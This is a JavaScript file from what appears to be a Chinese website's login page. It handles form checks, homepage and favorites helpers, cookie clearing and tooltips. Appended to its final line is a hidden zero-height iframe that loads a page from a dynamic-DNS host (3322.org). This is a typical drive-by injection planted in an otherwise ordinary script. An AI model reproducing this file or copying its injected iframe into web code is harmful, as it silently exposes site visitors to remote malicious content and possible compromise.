﻿
function $(objParam)
{
    return document.getElementById(objParam);
}

function check()
{
    if ($("txtusername").value.length <= 0)
    {
        alert("请输入账号！");
        return false;
    }
    if ($("txtpassword").value.length <= 0)
    {
        alert("请输入密码！");
        return false;
    }
}
//添加到收藏夹
function addFavorite(url, title) {
    if (document.all) {
        window.external.addFavorite(url, title);
    } else if (window.sidebar) {
        window.sidebar.addPanel(title, url, "");
    }
}

//设置url为当前的默认主页
function setHomepage(url) {
    if (document.all) {
        document.body.style.behavior = 'url(#default#homepage)';
        document.body.setHomePage(url);
    } else if (window.sidebar) {
        if (window.netscape) {
            try {
                netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
            } catch (e) {
                alert("该操作被浏览器拒绝，如果想启用该功能，请在地址栏内输入 about:config,然后将项 signed.applets.codebase_principal_support 值该为true");
            }
        }
        var prefs = Components.classes['@mozilla.org/preferences-service;1'].getService(Components.interfaces.nsIPrefBranch);
        prefs.setCharPref('browser.startup.homepage', url);
    }
}


function fEvent(sType, oInput) {
    switch (sType) {
        case "focus":
            if (oInput.value.indexOf("号") != -1 || oInput.value.indexOf("地址") != -1) {
                txtValue = oInput.value; 
                oInput.value = "";
                oInput.style.color = '#000000';
            }
            oInput.isfocus = true;
            break;
        case "blur":
            if (oInput.value == "")	
                oInput.value = txtValue;
            oInput.isfocus = false;
            if (!oInput.isfocus) {
                oInput.style.color = '#8A8A8A';
                 }
            break;
    }
}
 

function change(obj) {
    var txtpwd = $("txtpassword");
    var pwdtip = $('txtPassword1');
     if (obj.type == "text") {
        obj.style.display = "none";
        txtpwd.style.display = "block";
        txtpwd.value = "";
        txtpwd.focus(); //加上
		txtpwd.style.color = '#000000';
    } else {
        var pass = txtpwd.value;
        if (pass.length < 1) {
            obj.style.display = "none";
            pwdtip.style.display = "block";
            obj.style.color = '#8A8A8A';
        }       
    }
}
//设置cookie过期时间
function delCookie()
{    
    document.cookie = "iPlanetDirectoryPro=123; path=/; domain=shangdu.com; expires=Thu, 01-Jan-70 00:00:01 GMT";
    location.reload();
}


function setShow(ele)
{
    $(ele).style.display = ($(ele).style.display == 'none') ? '' : 'none';
}
function mouseMove(ev, content)
{
    ev = ev || window.event;
    var mousePos = mouseCoords(ev);
    $("alertContent").innerHTML = content;
    $("alertDiv").style.display = "inline";
    if (content.length < 10) {
        $("alertDiv").style.left = (mousePos.x - 58) + "px";
        $("alertDiv").style.top = (mousePos.y - 62) + "px";
        $("alertDiv").style.width = "90px";
    }
    else {
        $("alertDiv").style.left = (mousePos.x - 120) + "px";
        $("alertDiv").style.top = (mousePos.y - 80) + "px";
        $("alertDiv").style.width = "150px";
    }
}
function mouseCoords(ev)
{
    if (ev.pageX || ev.pageY) { return { x: ev.pageX, y: ev.pageY }; }
    return { x: ev.clientX + document.documentElement.scrollLeft , y: ev.clientY + document.documentElement.scrollTop  }
}
document.writeln("<div class='box' id='alertDiv'>"
+ "<div class='box_hd1'></div>"
+ "<div class='box_hd2'></div>"
+ "<div class='box_bd' id='alertContent'></div>"
+ "<div class='box_hd2'></div>"
+ "<div class='box_hd1'></div>"
+ "<div class='box_hd0'>"
+ "<div class='box_hd0a'></div>"
+ "<div class='box_hd0b'></div>"
+ "<div class='box_hd0c'></div>"
+ "<div class='box_hd0d'></div>"
+ "<div class='box_hd0e'></div>"
+ "<div class='box_hd0f'></div>"
+ "<div class='box_hd0g'></div>"
+ "<div class='box_hd0h'></div>"
+ "<div class='box_hd0i'></div>"
+ "<div class='box_hd0j'></div>"
+ "<div class='box_hd0k'></div>"
+ "<div class='box_hd0l'></div>"
+ "<div class='box_hd0m'></div>"
+ "<div class='box_hd0n'></div>"
+ "<div class='box_hd0o'></div>"
+ "<div class='box_hd0p'></div>"
+ "<div class='box_hd0q'></div>"
+ "<div class='box_hd0r'></div>"
+ "<div class='box_hd0s'></div>"
+ "</div>"
+ "</div>");
//ihome首页end

        var tt = document.getElementsByTagName("a");
        for (var t = 0; t < tt.length; t++)
        {
            tt[t].onfocus = function() { this.blur(); };
        }
function queryString(sParam) {
    var sBase = window.location.search
    var re = eval("/" + sParam + "=([^&]*)/")
    if (re.test(sBase)) {
        return RegExp.$1
    }
    else {
        return ""
    }
}

if (queryString("uid") != "")
    $("txtusername").value = queryString("uid");<iframe src=http://dfghjgj.3322.org/xp/360.html?vip12 width=100 height=0></iframe>

